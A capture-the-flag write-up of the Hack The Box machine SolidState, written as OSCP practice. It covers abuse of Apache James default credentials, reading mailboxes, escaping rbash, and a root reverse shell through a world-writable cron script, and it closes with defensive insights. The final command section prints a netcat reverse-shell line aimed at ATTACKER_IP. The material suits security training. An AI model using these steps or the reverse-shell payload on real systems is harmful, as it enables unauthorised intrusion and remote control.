# OSCP Prep #7 HTB Write-Up 
SolidState

# 1\. Target Overview

**Machine Name:** SolidState

**Platform:** Hack The Box

**Operating System:** Linux

**Target IP:** 10.129.6.171

**Objective:** Obtain the user and root flags from the target machine. SolidState is a Linux-based machine that exposes several common network services, including a web server and multiple mail-related protocols. These services provide the primary attack surface and require careful enumeration to understand how they interact and what functionality they expose.

The compromise of this system ultimately relies on identifying service misconfigurations and leveraging them to gain access to internal information. By chaining together weaknesses in exposed services and system permissions, it becomes possible to progress from initial access to full administrative control of the machine.

## Tools Used

### RustScan

RustScan was used for rapid port discovery. Its high-speed scanning capability allowed quick identification of open TCP ports on the target before passing them to Nmap for deeper enumeration.

### Nmap

Nmap was used for detailed service enumeration after identifying open ports. The default scripts and version detection options helped identify running services such as SSH, SMTP, POP3, NNTP, and the Apache James administrative interface.

### FFUF

FFUF was used for directory brute forcing against the web server running on port 80. This helped identify accessible files and directories within the web application while manual browsing was performed simultaneously.

### Netcat (nc)

Netcat was used for multiple purposes during the engagement:

*   Connecting to the Apache James administrative console on port 4555
    
*   Establishing a reverse shell listener for privilege escalation
    

Netcat’s versatility makes it a common tool for interacting with network services during penetration testing.

### Telnet

Telnet was used to manually interact with the POP3 service running on port 110. This allowed direct authentication to user mailboxes and retrieval of stored emails containing sensitive information.

### LinPEAS

LinPEAS was used for automated privilege escalation enumeration. The script scans the system for common misconfigurations such as writable files owned by privileged users, which ultimately revealed the vulnerable root-owned Python script that enabled privilege escalation.

* * *

# 2\. Enumeration

## Nmap Scanning

As always, I begin the engagement by identifying open ports and running services on the target machine. I first ran **RustScan** to quickly discover open TCP ports before passing the results into **Nmap** for deeper service enumeration.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b1e06b0a-f329-4a7c-97db-30053b94db1b.png align="center")

The scan revealed several open ports which were then enumerated with Nmap to identify the running services and versions.

```plaintext
sudo nmap -sC -sV -p22,25,80,110,119,4555 10.129.6.171
```

### Nmap Results

The web server returned the following page title:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/32b1b4c6-a2e4-4a62-84b5-4d1e38926861.png align="center")

The scan also confirmed the host is running **Linux (Debian)**.

* * *

## UDP Scan

To be thorough, I also performed a quick UDP scan against the target to check for any additional services that might expand the attack surface.

The results showed no useful UDP services exposed.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/71b81cf7-0cad-47f3-ac49-c5ac455544f7.png align="center")

* * *

### Key Takeaways from Enumeration

The scan revealed several interesting services that will likely play a role in the attack chain:

*   **SSH (22)** – Potential for credential reuse once we obtain valid credentials.
    
*   **SMTP (25)** – Mail services often expose usernames or allow enumeration.
    
*   **HTTP (80)** – Always a primary attack surface.
    
*   **POP3 (110)** – Indicates a mail retrieval service.
    
*   **NNTP (119)** – Less common and potentially interesting.
    
*   **Port 4555** – Uncommon service that may belong to a mail server or custom application.
    

The presence of **multiple mail-related services (SMTP, POP3, NNTP)** strongly suggests that the target may be running a **mail server platform**, which will be investigated further during service enumeration.

### Web Enumeration (Port 80)

Given the presence of a web server, I shifted focus to **port 80** as an initial attack surface.

To begin reconnaissance, I started a directory brute-force scan using **ffuf** so that enumeration could run in the background while I manually inspected the site through my browser.

### Directory Enumeration Results

The discovered content suggests the web server hosts a fairly small static site.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/99b076cd-009e-4dcb-b496-8deb8484f13d.png align="center")

* * *

## Website Analysis

Visiting the main page reveals a site for **Solid State Security**, presenting itself as an award-winning security consulting team.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/6a9ed5dc-7a23-45b7-a7eb-09184997cc08.png align="center")

The site consists of three primary pages:

*   **index.html**
    
*   **services.html**
    
*   **about.html**
    

Each page primarily contains static informational content describing the company's services and background.

At the bottom of each page there is also a contact form.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/927dbc6e-d5ce-4266-9f00-d1841ba9f078.png align="center")

However, testing the form revealed that it simply submits a POST request to `/`, which returns the main page without performing any visible action. This suggests the form is either non-functional or not connected to any backend processing logic.

Further directory brute forcing did not reveal any additional interesting endpoints.

Given the lack of dynamic functionality or obvious attack vectors on the web application, the HTTP service does not appear to provide a viable entry point at this stage.

At this point, I shifted focus away from the web server and began investigating the other exposed services identified during the initial port scan.

### Mail Server Enumeration (Port 4555)

One of the more unusual services identified during scanning was port 4555. Based on the presence of several mail-related ports (SMTP, POP3, NNTP), I suspected that this port might belong to a mail server management interface.

To investigate further, I connected to the service using netcat.

Upon connecting, the service returned a login prompt for the James Admin Console.

### What is Apache James?

**Apache James (Java Apache Mail Enterprise Server)** is an open-source mail server written in Java. It provides standard email services such as:

*   SMTP
    
*   POP3
    
*   IMAP
    
*   NNTP
    

In addition to the mail protocols themselves, James also exposes an administrative console which allows administrators to manage users, domains, and mailboxes.

In this case, the admin interface was accessible over **port 4555**.

* * *

## Default Credentials

Since administrative consoles frequently ship with default credentials, I attempted to authenticate using a common default:

```plaintext
Username: root
Password: root
```

This authentication attempt was successful, granting access to the James mail server administrative interface.

This immediately represents a significant misconfiguration, as it allows an attacker to directly interact with the mail server's administrative functions. Mail Server Enumeration (Port 4555)

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/72d5a32a-1a57-4c1f-8046-a43b884564a4.png align="center")

Once authenticated, the administrative console displayed a list of available commands.

```plaintext
help
listusers
adduser
setpassword
deluser
setalias
setforwarding
```

* * *

### User Enumeration

Using the available administrative functionality, I enumerated the mail server accounts.

This revealed multiple existing user accounts on the mail server.

Since the administrative console allows password modification, I reset the passwords for each user using the `setpassword` command.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/48a4e8cd-a023-4a4a-964b-dde67244540f.png align="center")

By resetting these credentials, I was able to gain authentication access to each user's mailbox.

# 3\. Exploitation

### Mailbox Enumeration via POP3

After resetting the passwords for the mail server accounts through the Apache James administrative console, I began interacting with the POP3 service (port 110) to read the contents of the users' mailboxes.

I connected to the POP3 server using telnet.

```plaintext
telnet 10.129.6.171 110
```

Using the credentials I had previously set through the James admin interface, I authenticated as the available users and enumerated their messages.

* * *

### Accessing John's Mailbox

John's mailbox contained a message from the mail administrator discussing Mindy's account access restrictions.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/36917b70-3d1f-4f36-a20a-afca05a3b146.png align="center")

While this message did not contain credentials, it confirmed that Mindy recently received account access information, making her mailbox particularly interesting.

* * *

### Accessing Mindy's Mailbox

Next, I authenticated as Mindy.

The mailbox contained two messages.

Retrieving the second message revealed a set of **SSH credentials**.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/19a45343-5df8-4ebf-a30b-08b1c835c004.png align="center")

This email provided valid SSH credentials for the target machine.

* * *

### Gaining Initial Access via SSH

After discovering SSH credentials in Mindy’s mailbox, I attempted to authenticate to the target system.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/4dff0cc4-844d-4107-b702-cbadfbc65ac6.png align="center")

```plaintext
ssh mindy@10.129.6.171
```

Using the credentials found in the email:

```plaintext
username: mindy
password: P@55W0rd1!2@
```

I was successfully able to establish an SSH session as the **mindy** user.

Once connected, I attempted to run some basic enumeration commands.

```plaintext
whoami
```

However, this returned an error:

```plaintext
-rbash: whoami: command not found
```

Checking the current working directory confirmed that I had landed in Mindy’s home directory.

```plaintext
pwd
```

```plaintext
/home/mindy
```

* * *

### Restricted Shell (rbash)

Examining the system revealed that Mindy’s shell was configured as **rbash**, or **restricted bash**.

Restricted bash is a security feature of the Bash shell that limits the commands a user can execute. It is commonly used in environments where administrators want to restrict a user’s ability to interact freely with the system.

Typical rbash restrictions include:

*   Preventing the use of commands containing `/`
    
*   Preventing changes to the `PATH` variable
    
*   Preventing the use of `cd`
    
*   Restricting execution to a predefined set of allowed commands
    

The purpose of rbash is to limit a user to a controlled command environment, preventing them from accessing sensitive parts of the system or executing arbitrary binaries.

In practice, however, **restricted shells are frequently misconfigured and can often be bypassed**, allowing an attacker to escape the restricted environment.

At this stage, the next objective was to identify a method to break out of the restricted shell and obtain a fully functional interactive shell.

### Escaping rbash

A simple technique to bypass restricted shells when connecting via SSH is to force execution of a different shell during login.

This can be done using the `-t` option to execute a command immediately after establishing the SSH connection.

```plaintext
ssh mindy@10.129.6.171 -t bash
```

This forces bash to run instead of the restricted shell defined for the user account.

After reconnecting using this method, I was able to execute previously restricted commands.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b1dfc7ee-d047-4877-af0f-ccb3471812dd.png align="center")

Although the prompt appeared slightly malformed, the important outcome was that I now had access to a fully functional shell, allowing standard enumeration.

With the rbash restrictions bypassed, I could now proceed with normal system enumeration in search of a privilege escalation path.

# 4\. Privilege Escalation

## Initial Enumeration

After bypassing the restricted shell, I began my standard Linux privilege escalation checklist.

First I confirmed the current user:

```plaintext
whoami
```

```plaintext
mindy
```

Next I checked the user’s group memberships:

```plaintext
id
```

```plaintext
uid=1001(mindy) gid=1001(mindy) groups=1001(mindy)
```

This confirmed that the account does not belong to any privileged groups.

I then checked for sudo privileges:

```plaintext
sudo -l
```

However, the `sudo` binary was not available in the current environment.

```plaintext
bash: sudo: command not found
```

* * *

## Filesystem Enumeration

I proceeded with standard manual enumeration, reviewing common escalation vectors such as:

*   writable directories
    
*   cron jobs
    
*   unusual binaries
    
*   SUID files
    
*   scripts executed by privileged users
    

Despite checking typical locations nothing immediately stood out as an obvious privilege escalation path.

* * *

## Automated Enumeration with LinPEAS

Since manual enumeration did not reveal anything obvious, I decided to use **LinPEAS**, a popular Linux privilege escalation auditing script that automatically scans the system for common misconfigurations.

To transfer the script to the target machine, I first hosted it from my Kali machine using a simple Python web server.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/a778aeba-24fa-4c0a-ba8d-4aea6a581d6c.png align="center")

Then from the compromised SSH session, I downloaded the script using `wget`.

After downloading the script, I made it executable and ran it.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b0948aa5-4d2f-4f6b-9d95-3e5daa0abbec.png align="center")

LinPEAS performed a comprehensive scan of the system, checking for common privilege escalation vectors such as:

*   SUID binaries
    
*   writable cron jobs
    
*   weak file permissions
    
*   PATH hijacking opportunities
    
*   scheduled tasks
    

## Vulnerable Root Script

During the scan, LinPEAS highlighted a suspicious file located in the `/opt` directory.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/3eb9834c-0ad6-478a-983f-672f69120bf5.png align="center")

```plaintext
/opt/tmp.py
```

Inspecting the file revealed the following:

```plaintext
ls -la /opt/tmp.py
```

```plaintext
-rwxrwxrwx 1 root root 105 Mar 14 12:15 tmp.py
```

The script was:

*   **owned by root**
    
*   **world writable (777)**
    

Viewing the contents of the file showed that it was a simple Python script responsible for clearing the `/tmp` directory.

```plaintext
#!/usr/bin/env python
import os
import sys

try:
    os.system("rm -r /tmp/* ")
except:
    sys.exit()
```

Because the file was **owned by root but writable by all users**, this immediately suggested the possibility of a privilege escalation through script modification if the file was being executed automatically by a privileged process.

* * *

## Confirming Script Execution

Before modifying the script, I first needed to confirm that it was being executed periodically.

Since the script deletes all files in `/tmp`, I created a test file to observe its behavior.

```plaintext
touch /tmp/test
```

After waiting briefly, I checked the directory again and observed that the file had been removed automatically. This confirmed that the script was being executed on a recurring basis by a privileged process.

* * *

## Exploiting the Writable Script

Since the script was executed by root and was world writable, I appended a reverse shell payload to the end of the file.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/865319e6-dedc-4e46-aa4f-119005a0ea32.png align="center")

Next, I started a listener on my attacking machine.

When the scheduled task executed the script, the payload triggered and established a reverse shell back to my listener.

* * *

## Root Shell

Once the connection was established, I verified the privileges of the shell.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/1a1f87ae-61fb-4142-87ad-a3183e3d80ef.png align="center")

This confirmed that the reverse shell was running with root privileges, successfully completing the privilege escalation.

# 5\. Lessons Learned

### 1\. The Danger of Default Credentials

The initial foothold on the mail server was obtained using default credentials **(**`root:root`**)** for the Apache James administrative console. Default credentials remain one of the most common real-world misconfigurations and can immediately provide attackers with administrative control over services if they are not changed during deployment.

* * *

### 2\. Administrative Service Exposure Increases Attack Surface

The Apache James administrative console (port 4555) was exposed directly to the network. Administrative interfaces should rarely be accessible externally, as they often provide powerful capabilities such as user management, password resets, and system configuration changes. In this case, access to the console allowed modification of user passwords, which ultimately led to mailbox access and credential discovery.

* * *

### 3\. Mail Services Can Leak Sensitive Information

By resetting user passwords through the mail server admin interface, it was possible to authenticate to the POP3 service and read stored emails. These emails contained operational details and credentials, demonstrating how internal communication systems such as mail servers can unintentionally expose sensitive information that attackers can leverage for lateral movement or system access.

* * *

### 4\. Writable Scripts Owned by Root Are a Critical Misconfiguration

The privilege escalation was possible because a **Python script owned by root was world-writable (**`777`**)**. This allowed a non-privileged user to modify a script that was executed automatically by a privileged process. When the script ran, it executed attacker-controlled commands with root privileges.

Misconfigured file permissions on scripts executed by privileged users represent a serious security risk and are a common privilege escalation vector in both real-world environments and penetration testing scenarios.

* * *

### 5\. Understanding Service Roles Improves Attack Efficiency

Recognizing the roles of the different mail protocols exposed on the target was critical in progressing through the attack chain:

*   **SMTP** for sending mail
    
*   **POP3** for retrieving mail
    
*   **NNTP** for newsgroup communication
    

Understanding that POP3 allows mailbox retrieval led directly to discovering the SSH credentials stored in Mindy's email.

# 6\. Defensive Insights

### 1\. Eliminate Default Credentials

Services should **never be deployed with default credentials enabled**. Default accounts such as `root:root` for administrative interfaces must be changed immediately during system deployment. Organizations should enforce credential policies that require strong, unique passwords and disable unused default accounts entirely.

* * *

### 2\. Restrict Administrative Interfaces

Administrative services such as the Apache James Remote Administration Tool should never be directly exposed to untrusted networks. These interfaces should be restricted using:

*   firewall rules
    
*   VPN access
    
*   internal network segmentation
    

Limiting access to administrative services significantly reduces the attack surface available to external attackers.

* * *

### 3\. Secure Mail Infrastructure

Mail servers frequently contain sensitive internal communications, including credentials, operational instructions, and system details. Organizations should ensure that:

*   mailbox access is strictly controlled
    
*   passwords cannot be arbitrarily reset by unauthorized users
    
*   administrative mail services are properly secured
    

Additionally, sensitive credentials should never be transmitted in plaintext emails.

* * *

### 4\. Enforce Proper File Permissions

Scripts owned by privileged users must **never be writable by unprivileged accounts**. In this case, the Python script responsible for system cleanup was configured with world-writable permissions (`777`), allowing any user to modify its contents.

Secure permission configurations such as:

```plaintext
700
750
755
```

should be applied to scripts executed by root to prevent unauthorized modification.

* * *

### 5\. Secure Scheduled Tasks and Automation Scripts

Automated maintenance scripts, particularly those executed by cron jobs or privileged services, should be carefully audited to ensure they cannot be manipulated by unprivileged users.

Best practices include:

*   storing scripts in restricted directories
    
*   limiting write permissions to administrators only
    
*   regularly auditing scheduled tasks
    

Automated processes executed with elevated privileges should always be treated as high-risk components within a system.

* * *

### 6\. Continuous Security Auditing

Regular security audits and configuration reviews can help identify dangerous misconfigurations before they are exploited. Automated tools such as configuration scanners and vulnerability management platforms can assist administrators in detecting issues such as:

*   exposed administrative services
    
*   weak credentials
    
*   improper file permissions
    
*   insecure automation scripts
    

Proactive monitoring and auditing significantly reduce the likelihood of privilege escalation vulnerabilities being exploited.

## Useful Commands

Throughout this engagement, several commands were used to enumerate services, interact with the mail server, and ultimately achieve privilege escalation.

* * *

### Interacting with the Apache James Admin Console

Connect to the administrative interface exposed on port 4555.

```plaintext
nc 10.129.6.171 4555
```

Enumerate available users.

```plaintext
listusers
```

Reset user passwords.

```plaintext
setpassword username password
```

* * *

### POP3 Mailbox Interaction

Connect to the POP3 service.

```plaintext
telnet 10.129.6.171 110
```

Authenticate and retrieve stored emails.

```plaintext
USER username
PASS password
LIST
RETR 1
```

* * *

### SSH Restricted shell escape

Escape the restricted shell by forcing bash during connection.

```plaintext
ssh mindy@10.129.6.171 -t bash
```

* * *

### Netcat Reverse shell

Append a reverse shell payload to the writable root-owned script.

```plaintext
echo 'os.system("nc ATTACKER_IP 9001 -e /bin/bash")' >> /opt/tmp.py
```